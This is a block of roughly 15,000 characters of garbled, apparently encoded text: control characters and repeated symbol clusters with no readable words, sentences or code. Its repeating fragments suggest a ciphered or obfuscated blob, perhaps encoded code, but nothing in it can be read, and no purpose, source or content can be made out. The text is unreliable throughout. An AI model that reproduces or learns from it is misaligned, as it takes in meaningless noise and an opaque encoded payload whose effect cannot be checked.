^EYT]DET2_\_\EYUUDAMOOAMI			\DAMMMM]AMME\TZZFZ\DDMMMLPPMMMMMMI	[2 TDMVgMMIXT
Z260MMPMMMMMI 2YZUVgggMMMgMMMMMMMMELIXT
Z2DMMgMMMME[_
 EYT\DET2_\_\EYT_DDDMMM2ET2_\_\EYZTDAMM\AMMEX]\FTTDDVgMVggggM-	2E[_
 EYT^DAM[_
 EYU^DEDAMM[_
 EYTYDDVgMMMMMMMEIXT
Z2MMMMMMIYTX]	DMMgM    ^U]EIYTX]	AMMEX_[@\][DDVgMMMMEYY2T  ^\EIYTX]	AMMMMMUT_[_YEI]YYUDDDMgM\X[_2	EIYTX]	DVgMMMMMMM\\_ EIYTX]	DVgM    ^U]EIYTX]	AMMMEXUY@_T_DDVgMYU	XT]2EIYTX]	DVgMMMEIYTX]	MPPPMMTXXEDDMMMg] UX_^^EDVI_	[]2P\U_\ZUVI^XPI_	[]23[TVg[^22TEDVgggMgMMMMMMMgMMMMM    ^U]EIYTX]	AME]XXF]DDVgMMMMMgMgMMMMMMMMMME9MMMI

ZDMMgMMM]Y\
\[ZE2[
^EYTXDAMMI

ZDVgMMME(MMMMMI

ZDMMMMgMMMgggggMMMMMM_YT2[U]\_2EDgMMgMMMMMMMI	^MPMMMMVgMMMMMMMMEI	^DMMMVgMMI	^MMPMMMMVgMMMgM	_Z_]\2\EDVggggMMMM[ [ _[U
EDVgMMMMZ 
	\[EDVggggM	[]
^ZEDVgMM
 ZX_EDVgM[Y\EDVg 2Z[		]2
	EDVgMMM 
X]2^Y2Y^EDVgMMMMX2ZZ^EDVggMME2Z\	EDDMMMIU	

P_YFTZVIY
[_PIU	

@^ZVgMMMME2[
^EYT\DET2_\_\EYT[DDMKKM		2E]]
X_EYXUDDDMMMgMMMME2[
^EYTZDE]]
X_E\XYDDDM2[
^E\XYDET2_\_\EY_UDDVgMMMMMMgU		
E]]
X_EYXUDAM2[
^EYTUDAM]DVggBBM- @M		@ggMMMMMgMMMMMMME9MMMI

ZDMMMMMgBBM-M		@ggMMMMMMME(MMMI

ZDMgBBM:=M%
M"	M. WM M	ggMMMMMMMMgMgMMMMMMMMMMMM	2[TY[XEDgMgMMMMMMMMMMgMMMMEL[_
 EYTZDE2[
^EY^]DDMMMMMMMMML2[
^EYTZDE[_
 EYTTDDDMMVggggMMMMEL2[
^EYTZDE]]
X_E^UXDDMMMML]]
X_EYTZDE]]
X_E^[UDDDMMMVgMMIZ	
X
YY _MMMPMMM[_
 EYU^DEDVgMMMEIZ	
X
YY _MM@MEDMM-
2ET2_\_\EX]]DAMM]DMMMQMME^XY_FXUDDMMVgM-	2E[_
 EX]]DAMMMMIZ	
X
YY _AMM]]
X_EYTYDDVgMM-[_
 EY^]DE 2EJBJDAMME[_
 E^\]DMMMMMPSMMMM_AMM[_
 E^\\DMMPSMMAMMM]]
X_EY^_DMMPSMMMMMDDVgMMMMMMME9MMI

ZDMgMMMMMMMMMME(MMMMI

ZDMMgggMggMMMMgMMMMM2Z\	EDgMMgMMMMMELMMMT2_\_\EYTZDE]]
X_E^UXDDDMMggggMMMMMMVgggMMMMgggMMMMgMMMET2_\_\EYTZDE]]
X_EX]\DDMMMMKKMM
2EZYU_YTUEDDDMgMMMMMMVgggggMgI	_ ZMMPM22\2\\EDVgMMMMIU	
\UMMMPMM\ TXT
[[\
E[_
 EX]_DAMMMMDVgMMggMMMME]]
X_EY[\DEIU	
\UDMMMKKMMEIU	
\U6T2_\_\EX]^D0DMMKKMEDMMMIU	
\U6]]
X_EX]YD0MSPMEYT^@\T^DMMMMKKMMEDMMIU	
\U6]]
X_EX]YD0MQPMME\\\U^_@_XY^_DDMMI	_ ZMPMMMMMEDMIU	
\U6]]
X_EX]YD0VgMMMMMI	]Z\ZMMPMEDMM
2E]]
X_EYYZDAM]DVgMMMMMEI	]Z\ZMMMMSM]MMMMKKMME]]
X_EYU^DEDM@MMI	]Z\ZDMMQMI	_ ZDMMMgMMMMMMVgMggMIY]XTMMPMEDM
2E[_
 EX]XDAMM]DVgMMMMMMEIY]XTMMMSMMMM]DMgBBM:=M=M,WM		M	ggMIYZMPMMMMMEDM
2E2[
^EX][DAMMMM]DVgIZ
2^UMPMMMEE]Y^F]TDAMEUUUF\_DAME\Z^YF[[DAMMMME_[_XFTZXDAMMMMME^X^_F[UDDVgMMMI[
Y[MPMMIZ
2^U6]]
X_EX]ZDE]AMT2_\_\EX]UDEIYZMMMMMM@MM\AME_YZ3_Y^DDD0VgMMMMMMMMI[
Y[MMMFPM2[
^EY_XDE]AMEDMMMMMEI[
Y[MMMGM]C_XDDVgMMMMMMEE[_
 EYU^DEDMM@MMMMMIY]XTDMQMI[
Y[DMMMMMMgMMMMVgMMMMgMMMMMgggMMgMMMMMVggMggggMMMMMMMMM^	^	Z
EDggMgMIYZMPMMEDMM
2E]]
X_EX][DAMM]DVggM	2E]]
X_EX][DAMMMMMIYZMFMMMM\DVgM	2E]]
X_EX]XDAMMT2_\_\EYU^DEDDVggggMMMMgMMM]	[2_UTZ T[^EDgMgIYT]XMMPMMMMEDVgMMgMMIYT]X6[_
 EX]TD0MMMPMT2 _U_ EDVgIYT]X6]]
X_EX\]D0MMPMMM=%=2;(?>$"#VgMMMIYT]X6[_
 EX\\D0MMMMPMM[_
 ET_DEDVgIYT]X6[_
 EX\_D0MPMMME]]
X_EX\^DE2[
^EX\YDDMMMKKMMM2EDDMRMMMMM\MMWMMM]VgMMMMIYT]X6[_
 EX\XD0MMPMME]]
X_EX\^DE2[
^EX\[DDMMMKKMMM2 EDDMMMMMRMMM\MMMMMWM]VgMMMMMMIYT]X6[_
 EX\ZD0MMMPMEI*!"/,!>6[_
 EX\UD0DMMRMME
DMMMMMMI*!"/,!>6[_
 EX\UD0MMMWMMMMMMOOVggggIYT]X6]]
X_EX\TD0MMMPMMEI2>(?;(?6[_
 ETXD0DMRMMMMM[_
 E^T_DEE
DMI2>(?;(?6]]
X_ETXD0AMM]AMMME_]QQ\DDMWMMMOOVgggI[T
]^ MPMMMMEEI*!"/,!>62[
^EY[UD0DMMMKKMMMMT2_\_\EYU\DEI*!"/,!>6T2_\_\EX_]D0DDMMRMMMT2_\_\E^Y\DEI*!"/,!>6T2_\_\EX_]D0DMMWMMOOVgMMIYT]X6]]
X_EX_\D0MMMMMMPMMMMMEI[T
]^ MMMLPPMOODMMMRMMMM\MWMMMMM]VgBBM- MggMMMMMMMIYT]X6]]
X_EX__D0MPM2[
^EX_^DEI[T
]^ DVgIYT]X6T2_\_\EX_YD0MMPMML EI*!"/,!>6]]
X_EX_XD0DMMMMMRMMMMMM\MMWMM]VgMMMMMIYT]X6T2_\_\EX_[D0MPMML EI*!"/,!>62[
^EX_ZD0DMMMMRM\MWM]VgMMIYT]X6]]
X_EX_UD0MMMPM2[
^EX\^DE]]
X_EX_TDDMMRMMEDMMMM-
2E2[
^EX^]DAMMMMM]DMWM]VgMMIYT]X6]]
X_E^T[D0MMMPMMMEU2\_Y^ _E]]
X_EX^\DAMOODMMLPPMMMMMOODMRM\MWMMMMM]VgMMMMIYT]X6[_
 EX^_D0MPMMT2_\_\EX\^DET2_\_\EX_TDDMMMRMMMEDMMMMM-
2E]]
X_EX^^DAMMM]DMWMMMMMM]VgMIYT]X62[
^EX^YD0MPMM]]
X_EX^XDE[_
 EX_TDDMMRMMMMEDM-
2E]]
X_EX^[DAMMM]DMMWMMM]VIYYP_[GXVI

Z Y]PIYY@\^VgIYT]X62[
^EX^ZD0MMPMT2_\_\EX^XDET2_\_\EX_TDDMMRMMEDMM-
2ET2_\_\EX^UDAMMMM]DMWMM]VgMI [X\MMMMPMM _^][[	EDVgMMMMMMIYT]X6]]
X_EX^TD0MMMPMMMMM-[_
 EXY]DEI [X\MMMCMT2_\_\EXY\DDMMRMMMMMME \[UUE-T2_\_\EXY_DEI [X\MMMMMMCMMMM]]
X_EXY\DAMMMMMMAMMMMAMMMMM]AMMME[XZ]F\[__DDDMMMRMMM_MMWM\DMMMMWMM]VgMIYT]X6]]
X_EXY^D0MMMMMMPMM-[_
 EXY]DEI [X\MMCM2[
^EXYYDDMRMMME \[UUE-T2_\_\EXY_DEI [X\MCM2[
^EXYYDAMMAMMMMAMMMMM]AMMEU]UFZ^UYDDDMRMMMM_MMMWMMMM\DMMMMMWMM]VgMggggIYT]X6[_
 EXYXD0MPMMMM-]]
X_EXY]DEI [X\MCMMT2_\_\EXY[DDMRMMMMME \[UUE-T2_\_\EXYZDEI [X\MMMCMMM[_
 EXY[DAMMAMMMMMAMMM]AMMMMEU\]ZFUXDDDMMRMMMMM_MMMMMWMM\DMMWMMM]VgI ]Y[MMPMMT2_\_\EXYUDMCMT_
	
  \XE,/>=,9%MCMMJ
JAMMME]YF]YDDVgMMMI]MMPMM[_
 EXYTDMMCMMT_
	
  \XE,/>=,9%MCMMJ
JAMMETT3\]ZDDVgMIYT]X6T2_\_\EXX]D0MMMMMMPMMMMM]VgMMMMMMMMMEEX_T] 
EDAMMI [X\AMMMM,/>=,9%MCMM]]
X_EXX\DDMMMMMMMIU
ZDMMgBBM-M ggMMMMMMMME-T2_\_\EXY]DEIU
ZMMCMMMMMJBJMMMCMI ]Y[MCMMM2[
^EXX_DDDMIYT]X6T2_\_\EXX^D0MPMM\VgMMME-2[
^EXY]DEIU
ZMMCMMJBJMMCMMMI]DMKKMMEDMMMM-2[
^EZTDEIU
ZMMCMMJBJMMMMMMCMMMMMI]DMMSMMT2_\_\EXXYDEDMM@MMME^3_Y^DDMgMMIYT]X6]]
X_EXX^D0MPM_VggMMMMMVgMMMMMMMgMgMMEI]AMMMMMIU
ZDVgMMMMIUY

Y]
MMMPM2[
^EX^XDE[_
 ET[DDMMMRM-2[
^ET[DET2_\_\EXXXDDMMMWMMVgMMMMMMMEL[_
 EXX[DEIUY

Y]
DMMMMMMMIUY

Y]
MMPPPMMMMMOOMMMMMIUY

Y]
MPPPMM[_
 EXXZDDMMMMMIUY

Y]
MPMMM2[
^EXXUDVgMMMIYT]X62[
^EXXTD0MPMMMMME-2[
^EXY]DE,/>=,9%MCMMMMMMIUY

Y]
DMMKKMMMT2_\_\EX[]DEE
DMMMM-]]
X_EXYZDE,/>=,9%MCMMIUY

Y]
DAM2[
^EX[\DDMLPPMMMMMDMMRM\MMMWMM]VgMMIYT]X6]]
X_EX[_D0MPMME-]]
X_EX[^DE,/>=,9%MMMCM2[
^EX[YDDMMMKKM2[
^EX[]DEE
DMMM-]]
X_EXYZDE,/>=,9%MMMMMMCMMM]]
X_EX[YDDAMM]]
X_EX[XDDMLPPMMMDMMRM\MMWMM]VgIYT]X6T2_\_\EX[[D0MMMMMPMMMME-[_
 EX[^DE,/>=,9%MMCMMM[_
 EX[ZDDMMMMMMKKMMM]]
X_EX[UDEE
DMM-2[
^EXYZDE,/>=,9%MMCMM]]
X_EX[TDAMMMAMMMAM]AME[XYZ^F[^DDAMMT2_\_\EXZ]DDMMLPPMMMDMMRMM\MMMWMMMM]VgMIYT]X62[
^EXZ\D0MMPMMMM		E[_
 EXZ_DDMMRMM\MMMMWMM]VgIYT]X62[
^EXZ^D0MMMMPMMMMME		E2[
^EXZYDDMMMMM		E2[
^EXZXDDMMMMMM		E]]
X_EXZ[DDMMM]]
X_EX^XDE]]
X_EXZZDDMMMMMM[_
 EXZUDE]]
X_EXZTDDMMMEI*!"/,!>6]]
X_EXU]D0DMMMMMM[_
 EXU\DET2_\_\EXU_DDDMMMRMMM\MMWMM]VgIYT]X6T2_\_\EXU^D0MMPMMMMMEDM
2E2[
^EYYZDAMMM]DVgMIYT]X62[
^EXUYD0MMMPMEDMMMM
2E]]
X_EX][DAMMM]DVgggMIYT]X6T2_\_\EXUXD0MMMPMMMEDMMMM
2E2[
^EXU[DAM]DVgggMMMMMMI	[2 \Y\MPM_		T
U_ET2_\_\EXUZDAMMMMMEDDVI	^\]P=%=2 ,'"?2;(?>$"#VIX
T_2PI	^\]GYVgMMMI	TMMPMM]VgMI2ZMMPM]VgMMMMMMMMMMET2_\_\EY[\DEI	[2 \Y\DDMMggMMMMEI	[2 \Y\MMMMMMI
_U]X _DMMMMMgMMETYUY\2Z_EI
_U]X _DMMMPPPMMMOODMMVgMMI	TFFVgMMITXUXMMPMT2_\_\EXUUDEI
_U]X _DMMMRMMMEDMMMEEI
_U]X _6[_
 EXUTD0DMMMMRMMI
_U]X _62[
^EXUTD0MMMWMMMMM\DMMWMM\VgMI^UU		MPMT2_\_\EXT]DEI
_U]X _DMKKMMMMMEI
_U]X _62[
^EXT\D0DMMRMMEDMMI
_U]X _6T2_\_\EXT_D0MMWMM]VgMMMMELITXUXMMKKMMMMELI^UU		MMMMI^UU		MMMMQMT2_\_\EXXYDEDMM@MMME\_XZF_^Y^DDDMMMMI2ZFFVgMgMMMMMMgMMIYT]X6[_
 EXT^D0MMMMMPMMI	TVgggMMIYT]X6]]
X_EXTYD0MMPMMI2ZVgMMMMIX\]\MPM]]
X_EXTXDET2_\_\EX_TDDMMMMMRMMMM-
2E]]
X_EXT[DAMMMMMMOODMMWMMMOOVgMMIYT]X62[
^EXTZD0MMPMM2[
^EXTUDEIX\]\DMRMM2[
^EXTTDEIX\]\AMMMMM]AMME_F^DDMWMMOOVgIU^T_ZMMPM]]
X_E[]]DE]]
X_E[]\DDMMRMMM-
2E2[
^E[]_DAMMMEDDMMWMMMEDVgMIYT]X6]]
X_E[]^D0MMMPMMET2_\_\EXT]DEIU^T_ZDMKKMEL EIU^T_Z6JJ0DMMMML EIU^T_Z6[_
 E[]YD0DDDMMRMMM\MMWMM]VgMMMMMME9MMI

ZDMMMgMMIYT]X6T2_\_\E[]XD0MMMPMM2[
^EXTTDEI

Z@S
 
EDAMMM]AMMME\\Z@XZDDVggggMMMME(MI

ZDMMgMMMIYT]X6T2_\_\E[]XD0MMMPM]]
X_EXTTDEI

Z@S
 
EDAMMM]AMME^YF_[DDVggMMMMMIYT]XVgMMMMMMMgMMMMMMgMMMMMMMM\^_UZXTYEDgMMMgMMMMMME[_
 E[][DE2[
^EY_TDDDMgMMMMMMME
DMMMM2E2[
^E[]ZDDVgMMgMMMM[_
 E[]UDET2_\_\E[]TDDMMMRMME
DM2
2EDMMWMMMMMMOOVggMMMMMMgMMMM	Z[ Z ]Y_TEI^XZTDgMMgMIZ\___MPMOOVgMET2_\_\E[\]DE2[
^EYTTDDDMgMIZ\___MMPMME
DMMMM]]
X_E[\\DE 2EDAMMMMME2[
^E[\_DDDVgggMMMMMMMMMELMMMMMIZ\___MKKMMM[_
 E[\^DET2_\_\E[\YDDDMMgIZ\___MPME
DMMM[_
 E[\\DE
22EDAMMME2[
^E[\_DDDVgggggMMMMMELMMMMMMIZ\___MMKKM]]
X_E[\^DET2_\_\E[\XDDDMMMgIZ\___MPMMME
DM2[
^E[\\DE
2
ET2_\_\E[\[DDAMMET2_\_\E[\_DDDVgMMMMMgMMMMMELMMMIZ\___MKKM2[
^E[\ZDE]]
X_E[]\DDDMgMIZ\___MPMME
DMM]]
X_E[\UDEE
DM
2ET2_\_\E[\TDAMMMMOODAMME]]
X_E[\_DDDVgMMMMMgMMELMMMMIZ\___MMMMMKKMMMMEI2>(?;(?6[_
 E[_]D0DDMMgMIZ\___MMPMME
DMMI2>(?;(?6[_
 E[_\D0VgMMMgMMMMMMMMELMIZ\___MMMMMKKMMEI2>(?;(?6[_
 E[__D0DDMMggggMIZ\___MMMMPMME
DMMMI2>(?;(?6T2_\_\E[_^D0VgMMMgMMMMELMMMIZ\___DMMgMMMMMMI^XZTVgMgMMMMMMMMMMIZ\___VgggMMMMMMMMM^Y ZEDgMMMMMMMMgBGM	MMGBggMMgMI Z	YMMPMMM2[
^E[_YDE]]
X_ET[DDMMMMRMEDM-[_
 ET[DE]]
X_E[_XDDMMMMMWMM]VgMMMET2_\_\E[_YDE2[
^E[_[DDDMM-2[
^E[_[DEE[ZF\\^DDVgMI ^MMPMMEI Z	YMSMMME\[FYDMKKMMI Z	YMQMMME\_U3X_DDMMMRMMMEI Z	YMMM@ME\X@XDDMWMMEEI Z	YMMSMM]MMMMKKMMI Z	YMMMQPME]TF]DDMMRMMME\^@^DMMMMMWMME^^FXZDDVgMMMELMM2Z\	EDDMgMMMVgMMMgMELTZ\]E2[
^EY_YDDDMMMMgMVggMMMMggMMMI\TY^[MMPM2[
^E[_ZDEDVgIZ2 MMMMPMMM  __ Y_\EDVgMMMMEgMMMMMLMMM2[
^EXT]DEIZ2 DggMMMMMMMLMMMMMEIZ2 6T2_\_\E^ZZD0DMMMMMLM2[
^EXTUDEIZ2 6]]
X_E^ZZD0DMMMMMLMMMIZ2 6[_
 E[_UD0ggMMLMMMMMEIZ2 6[_
 E^Z_D0DMMMMMMLM2[
^EXT]DEIZ2 6]]
X_E^Z_D0DMMMMM EIZ2 62[
^E^Z_D0DgMMMMMMMMDMMMMgM^	^	Z
EDVgggMMVggMMMIYY_[T2ZMPMIZ2 62[
^E[_UD0VggMMI 2Z\[TMPMIZ2 62[
^E[_TD0VgMMU2_T
Z
E2[
^E^Z^DAMMMIYY_[T2ZAMM]]
X_EYTYDDVggI222_MMMMPM[_
 E[^]DE]]
X_E[]\DDMMMMRMME
DMMMMM
2E2[
^E[^\DAMMMOODMWMMOOVgMMMMMMMMMEI222_MMMMLPPMOOMKKMMMMM]]
X_E\UZDEI222_AMI 2Z\[TAMDDMgMMMI 2Z\[TMMPMM]]
X_E^[^DE]]
X_E_^_DEI 2Z\[TAMEI222_DDDVgMMMMMT2_\_\E[^_DEI 2Z\[TDVgMM2[
^E^Y]DEI 2Z\[TAMMMMI222_DVgMMMMMMMMET2_\_\E\^]DEI 2Z\[TDMSMMMM\DMgMMMM[_
 E[^_DEI 2Z\[TDVgggggMMMgMMMMEET2_\_\E[_ZDEDMMMMMM@MI\TY^[DMMSMMMEDMMMEI ^MMMMMGM]C[DDMMMgBBM
@M	
ggMMM^	^	Z
EDVggggMVggMMMMggMITUMMPMM]]]]_^TEDVgggMZ
Y[EITUDVI2]]ZP=%=2$#92 ,5B=%=2$#92 ,5VIXXUY PI2]]ZF\ZVgMMMMgI 2]XMPMMEDVggMMMME[_
 E[^]DE2[
^E[^^DDDMMgMMMMEEDMM
2E[_
 E_\YDAMMMMMEDDMMMMI 2YZUDMMgMMMMMMME]]
X_EXTUDEI 2YZUDMMMMMMKKMMI 2YZUDMMMMggggMMI 2]X60MPMMMI 2YZUVgMgMMMMgMMMMgMMgMMMMMITTMMMMMPMMMMMEDVIX\[^P^TFZZVI 2	XPIX\[^@_[VgMMMMMME		E2[
^E[^YDDDMgggMI[ MPMMM]]
X_E[^]DET2_\_\E^]\DDMRMMMM-[_
 E[^XDET2_\_\E[^[DE:= 82=!8*$#2)$?AMMMJBJDMMMCMT2_\_\E[^ZDDMWMMMMMVgMMET2_\_\EXT]DEI[ DDMMgMMMMEI[ MMMIYTX]	DMggITT60MMMMPMMMM[_
 E[^UDEIYTX]	DVgMMMMgggMMgMI
]YT ^MPMMMEggMM]]
X_E[^TDMMMPSMMMMM	Z[ Z ]Y_TEOODAgM[_
 E[Y]DMMPSMMMMMMT2 _U_ EDAggggMMM]]
X_E[Y\DMMMMMMPSMMM]]
X_E[^UDETXXEDAMM2[
^E[Y_DDAg]]
X_E[Y^DMPSM2[
^E[^[DE,/>=,9%AMMM]]
X_E[YYDDAgMT2_\_\E[YXDMMMMPSMMMMI 2]XAgM2[
^E[Y[DMPSMMITTAg]]
X_E[YZDMMMPSMM\^_UZXTYEDAgMMMT2_\_\E[YUDMPSM][2 _Z ZEITUDAg2[
^E[YTDMMMPSM22^[ 2T__EITUDAgT2_\_\E[X]DMMMMPSMEIUZ2MMPMM_TT2\Z2X^] EDDAgMMMMMgMDVgMMIZ	ZMMMMPMMMT2_\_\E[X\DE]]
X_E[X_DDMRM22	EI
]YT ^DMMMWM2[
^E[X^DEI
]YT ^DVgMI^\2MPMMMM]X[
U]YEIZ	ZAMMIYY_[T2ZDVgITTX[YMMPMMME]]
X_E^YYDMMPSMM[_
 E[XYDDVgMMMI^^UMPMMVgMMMMMMMM^	^	Z
EDVgggMgMMMMEI 2Z\[TMMMMI^X	_]
^]DMMgMMMgMMMMMMEET2_\_\E[_ZDEDM@MMI\TY^[DMSMMMI ^DMMgMMMMVgMMgBBMMM	gggggI^X	_]
^]MMMMMPMMMMT2_\_\E[XXDEE
DMMMMMI^X	_]
^]DVITTXYPX\XXVIYX_PITTXYHYVgMMMMMMMMELMI^X	_]
^]DMgMMMVgMMMgggMMMMgMMMMIUYU	UMPMMMMIYY_[T2ZVgMMMMMMMI\[[^

	MPMMMT__	ZEI^X	_]
^]AMMMMMMI^\2AMITTX[YAMMMME]UF]_DAMMMMMMMMEI TU_]DMMMMMMEIUYU	UDMMMgMIYT]XMMPMMM]X[
U]YEI TU_]AMMMIUYU	UDVgMMMMELIYT]XDMMMMMVgMMMMMMMT2_\_\EXT]DE-T2_\_\E[X[DET2_\_\E[XXDEIYT]XDAMDDVgDVgMMMELMI\[[^

	DMMgBGMM	MGBggMMM]Y\
\[ZE]]
X_E[XZDAMMMMM]]
X_E[XUDMMCMI^X	_]
^]DVgMMVgMgMMMgI		X	ZZ]MMMMPM]X[
U]YEI\[[^

	AMMMMMIYY_[T2ZDVgMMMMMMELMMMI		X	ZZ]DMgBBMMggMMMM]Y\
\[ZET2_\_\E[XTDAMMMMMT2_\_\E[[]DMCMMMI^X	_]
^]DVgMMMVgMgggMMI^^UMMMPMMMM-]]
X_E[[\DE[_
 E[[_DEI		X	ZZ]DAMMDVgMMME2[
^EXT]DEI^^UDDMMMgMME2[
^E[X\DE2[
^E^[UDDDMMgM	2E[_
 E[[^DAMMMMMMI^X	_]
^]DVgMMMMgMMMMMMMVgMMMMggMMMMMMMgMM]Y\
\[ZET2_\_\E[XTDAMMMM]]
X_E[[YDMMCMMMMMI^X	_]
^]DVggggggMMMMMMMMMMME9MMI

ZDMgM]Y\
\[ZE[_
 E[[XDAMI

ZDVgMMMMVgMMMMMMMMMMMME(MI

ZDMMgMMMMMMMVI	]2^PE]ZXF]^UDVIZ		PI	]2^HTVgMggMMMELM]]
X_EXT]DEI^^UDDMgMIY \Z[_MMMPMMM]X[
U]YE[_
 E[X^DEEgMMMMMMMM2[
^E[^TDMMMMPSMMM	Z[ Z ]Y_TEOODAg]]
X_E[[[DMMMMPSMMMT2 _U_ EDAgMMM2[
^E[Y\DMPSM[_
 E[^UDETXXEDAMM]]
X_E[Y_DDAgMMMM2[
^E[[ZDMMMPSM\AgMMMMMMDDAMMMMIYY_[T2ZDVgMMI2\Z]U 	MMMMPM[_
 E[^[DEE]]
X_E^UYDEIY \Z[_DAM[_
 E[[UDAMMT2_\_\E[[TDDAMJPJDVgI \[ 2]MMPMMMMM]]
X_E[Z]DEI2\Z]U 	AMET\XFYUXDDVgMMMMEI 2Z\[TMMMMMMMMI^X	_]
^]DMMMMgMMEE[_
 E[_ZDEDM@MMMMI\TY^[DMMMSMMMI ^DMMgVgMgMMI^X	_]
^]MMMPMMMMMT2_\_\E[[_DEE
DMMI^X	_]
^]DVgggMMMMMMMMEI^X	_]
^]MPPPMMMMOODMMgMMVgMMMMMMMgIMMMPMMT_
	
  \XE	Z[ Z ]Y_TEOODMCMMMM[_
 E[_ZDEDAME_F[DDVggggMI MMPMMMMM]]
X_E\^]DEI \[ 2]DVgMIUMPMMET2_\_\EX[UDEI^X	_]
^]AMMJRJDMPPPMMMDMMMRMMMMJRJMMMWMMMJKJVgMMMMEIT_[2MPMMM]VMMMMMMIT_[2MMQMMI VMIT_[2FFDMgMMMMEET2_\_\E[Z\DEDM@MMMI\TY^[DMSMMI ^DMgMMMVgMggMI[^ 2YMPMMMMMMEIT_[2MMMMPPPMI M@MM\DVgMIZ\^\ZMMMPMMMMI^X	_]
^]MCMMMMIUMCMMMM[_
 E[Z_DMCMMMIMMMMMCM]]
X_E[Z^DMCMMIT_[2MCM[_
 E[ZYDMMCMMI MMMCM2[
^E[ZXDMMCMMMI \[ 2]6IT_[20VggggMMMI2\][\XMPMMMZTTTUEIZ\^\ZAMME_QQ_DAMMMI[^ 2YMMMRMMMMEI TU_]DMMMMMMMEIYY_[T2ZDMgMIYT]XMMMPM]X[
U]YEI TU_]AMIYY_[T2ZDVgMMMMELIYT]XDMMMVgMMMMM2[
^EXT]DE-[_
 E[[\DET2_\_\E[[_DEIYT]XDAMMMDDVggMMMMWMDVgMMMMMMEI[^ 2YMKKMM]]
X_E[Z[DEI2\][\XDMKKMI2\][\XMLPPMMMOODMMgI2
	MMPMM]X[
U]YEI2\][\XAMIYY_[T2ZDVgMI ]Y[MMMMPMI2
	MMMRMMM-2[
^E[[\DE2[
^E[[_DEI2
	DAMDMMMMWMMMVI2UU	\T
PZZ\YYVI	 U]\	PI2UU	\T
3\Y[VgMMME]]
X_E[ZZDEI ]Y[DDMMMgMMI^^UMMPMMMMI ]Y[VgMMMMET2_\_\E[X\DE[_
 E^[UDDDMgMM	2E]]
X_E[[^DAMI^X	_]
^]DVgMMMggggMMVggMgMMMMgMgggMMMMMMMME2[
^E[ZUDEI^^UDDMMgMMVggMMggggMMMMMMELM[_
 E[ZTDEI^^UDDMMMMgggVgMMMMMgMMMMMMMMMEIUZ2MMMMKKM[_
 E[X\DET2_\_\E[U]DDDMMMMgMMMMM	2ET2
]ZU	E2[
^E[X]DDDVgMMMMMMgMMMELEI*!"/,!>6]]
X_E[U\D0DMMLT2_\_\E[ZTDEI*!"/,!>6T2_\_\E[U\D0DDMMMI*!"/,!>62[
^E[U\D0MMMMMMPMEDVgI*!"/,!>6T2_\_\E[U\D0MMPMMMM]]
X_E[U_DE]]
X_E_^_DEI*!"/,!>6[_
 E[U^D0AMMMIUZ2DDVgMMMMMMMEEI^^U6[_
 E[Y\D0DMKKMMMT2_\_\E[Z[DEI^^U6]]
X_E[UYD0DDMMgBBM  M	ggY]Z\
EI^^U62[
^E[UXD0AMEI^^U6T2_\_\E[U[D0DMMMKKMMMT2_\_\E[UZDEI^^U6[_
 E[UUD0DMMRMI^^U6T2_\_\E[UUD0MMMMMWMOOAML EI^^U62[
^E[UTD0DDVI] 	_	YP\^U\[YVI	]_PI] 	_	Y3U_VgMMMgMMMMMMMgMMMMMI^T
TZUMMMMPMVgI2^T^UY\^MMPMMMEDVggMMMMMEEI^^U6T2_\_\E[T]D0DMKKMM]]
X_E[ZTDEI^^U6]]
X_E[T]D0DDMgMI]ZMPMMMEDVgMMgMMMMMEI^^U6]]
X_E[T]D0MMI	]^\^
TDMgMMMMME[_
 E[UZDEI	]^\^
TDMMMKKMI	]^\^
TMMMLPPMOODMgMMMMI]Z60MMPMI	]^\^
TVggggMMMMgggMMMIZYMPMMI*!"/,!>6[_
 E[T\D0VggggMMMMI]ZMMPMMMMM2
XEI]ZDVgMMMMMMMI*!"/,!>6T2_\_\E[T_D0MMPMMMMI]ZVgMMMI2^T^UY\^62[
^E[T]D0MMPMMI]ZVgMMMMELM ET2_\_\E_^_DEI]ZAMIZYDDMMMLM E2[
^E_^_DEIZYAMI]ZDDDMMMgMI^T
TZUMPMVgMMMMgMMgMgMMMMEEI^^U6T2_\_\EY[[D0DMKKM]]
X_E[T^DEI^^U6T2_\_\E[TYD0DDMMgggMMMI]ZMMMPMMEDVgMMMgMMMMEI^^U62[
^E[TYD0MMMMMMMMI	]^\^
TDMMMgggMMMMMMMME2[
^E[UZDEI	]^\^
TDMKKMMI	]^\^
TMMMMMLPPMMOODMgMMMMI]Z60MMMMPMI	]^\^
TVgMMgggMgMMIZYMPMMMMI*!"/,!>6T2_\_\EY[XD0VgMMI]ZMMPM2
XEI]ZDVgI*!"/,!>62[
^EY[XD0MMPMI]ZVgMI2^T^UY\^6[_
 E[TYD0MMMMMMPMMI]ZVgMMMMMMMMMELMMM E[_
 E_^_DEI]ZAMIZYDDMMMMMMLMM ET2_\_\E[TXDEIZYAMMMMMI]ZDDDMMMMMMggggMI^T
TZUMPMMMMVgMggMMMMMMMMMEEI^^U6]]
X_EY[ZD0DMKKMM[_
 E[UZDEI^^U6T2_\_\EY[ZD0DDMgMMI2T]^U	ZMMMMPMMU2\_Y^ _E[_
 E[T[DAMMOODVgMI*!"/,!>6[_
 E[TZD0MMPMI^^U6]]
X_EY[ZD0VgMMI2^T^UY\^6]]
X_E[TUD0MMMPMI^^U6[_
 E[TUD0VgMMMMME[_
 E^T^DEI^^U6T2_\_\E[TUD0DMLPPM]]
X_E[TTDEI2T]^U	ZDDMMggMMMMU2_T
Z
ET2_\_\EZ]]DAMMI^^U62[
^E[TUD0AMMM2[
^EYTYDDVgM[
U2]	EDVggEI2T]^U	ZDVgMMMMgMMI^_MMMPMMMEI^^U6[_
 E^TXD0DMMMMKKMMM[_
 EZ]\DEI^^U6T2_\_\E^TXD0DMMRMI^^U62[
^E^TXD0MWMMMMMMEDVITPE]_F]_DVI

X\_XPITHUVgMMMEEI^_6[_
 EYZ^D0DMMKKMM[_
 EZ]_DEI^_6]]
X_EYZ^D0DDMgMMMMET2_\_\EZ]^DEI^_6T2_\_\EYZ^D0DMMSME__F_UDDMMMMMgMI*!"/,!>6[_
 EZ]YD0MMMMMPMI^_62[
^EYZ^D0VgMMMI2^T^UY\^62[
^EZ]XD0MMMPMMI^_6[_
 EZ][D0VgMMMMMMMMMMMgMMMMMMI*!"/,!>62[
^EZ]YD0MPMMOOVgMMMMI2^T^UY\^62[
^EZ][D0MMPMOOVgMMMMMU2_T
Z
E]]
X_EZ]ZDAMMMOOAMMMMM2[
^EYTYDDVgggggMMgMMMMMEEI^_6[_
 E^TXD0DMMKKMMT2_\_\EZ]_DEI^_6T2_\_\EZ]UD0DDMgMME2[
^EZ]TDEI^_62[
